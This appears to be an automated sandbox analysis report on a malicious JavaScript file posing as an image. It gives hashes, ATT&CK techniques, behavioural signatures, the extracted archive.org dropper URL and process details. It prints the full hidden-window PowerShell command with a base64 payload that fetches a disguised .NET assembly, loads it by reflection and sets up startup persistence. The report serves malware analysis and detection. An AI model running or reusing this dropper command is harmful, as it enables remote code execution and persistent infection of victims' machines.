023c2ffe7b6418affcafe78df6d190107a882de63f55c63a266247c22b11e244

Analysis

max time kernel
99s
max time network
102s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
22/08/2025, 15:03

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General

Target
IMAGE_0715205384566.js
Size 58KB
Sample250822-sezpvawk17
SHA256 023c2ffe7b6418affcafe78df6d190107a882de63f55c63a266247c22b11e244
MD5 475f9e20573a299966b48664a9d75a10
SHA1 3bbbf4c2abeeda810aad87e2b7985cbeffacdf59
SHA512 2be579cc212b77f6d05a8a318993507336708d6ba2b6ea282e764bd4c55042fe4f25514f0f4657eddc321e5723dd7153bac9bb4472598d529f2adab4bd013514
SSDEEP 384:ZrG8cTfx1lW74tduJvsCbb1O4UTKJZ5fsjXsEc10X:aTfNO4tduJvsCbb1O4UTKJZ5fsLsfGX
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://archive.org/download/optimized_msi_20250821/optimized_MSI.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5964	3956	powershell.exe	78

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	5964	powershell.exe
3	5964	powershell.exe
4	5964	powershell.exe
5	5964	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5964	powershell.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5964	powershell.exe
5964	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5964	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\IMAGE_0715205384566.js
1⤵
PID:5932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPT1BZDRSbkxseFdhbVJXWjBKWFoyNTJiajlpTTBNVE56UVRNeDhDYms5eVp5OW1MelZHYnBaR2N0UjNMdm9EYzBSSGEnOyR0eXBlID0gJGFzc2VtYmx5LkdldFR5cGUoJ0NsYXNzTGlicmFyeTEuSG9tZScpOyRtZXRob2QgPSAkdHlwZS5HZXRNZXRob2QoJ1ZBSScpOyRtZXRob2QuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dQCgkb2xpbmlhLCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ2NhbGMnLCcxJywnY2FsYycsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnanMnLCcxJywnJywnVGFza19OYW1lJywnMCcsJ3N0YXJ0dXBfb25zdGFydCcpKTs=')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies trusted root certificate store through registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5964

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_4bwt5hxv.3mi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4bwt5hxv.3mi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/5964-0-0x00000256D6CF0000-0x00000256D6D00000-memory.dmp

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memory/5964-1-0x00000256D6CF0000-0x00000256D6D00000-memory.dmp

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memory/5964-7-0x00000256D6E00000-0x00000256D6E22000-memory.dmp

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memory/5964-11-0x00000256D6CF0000-0x00000256D6D00000-memory.dmp

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memory/5964-12-0x00000256D73B0000-0x00000256D7F22000-memory.dmp

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memory/5964-13-0x00000256D6EA0000-0x00000256D6EAE000-memory.dmp

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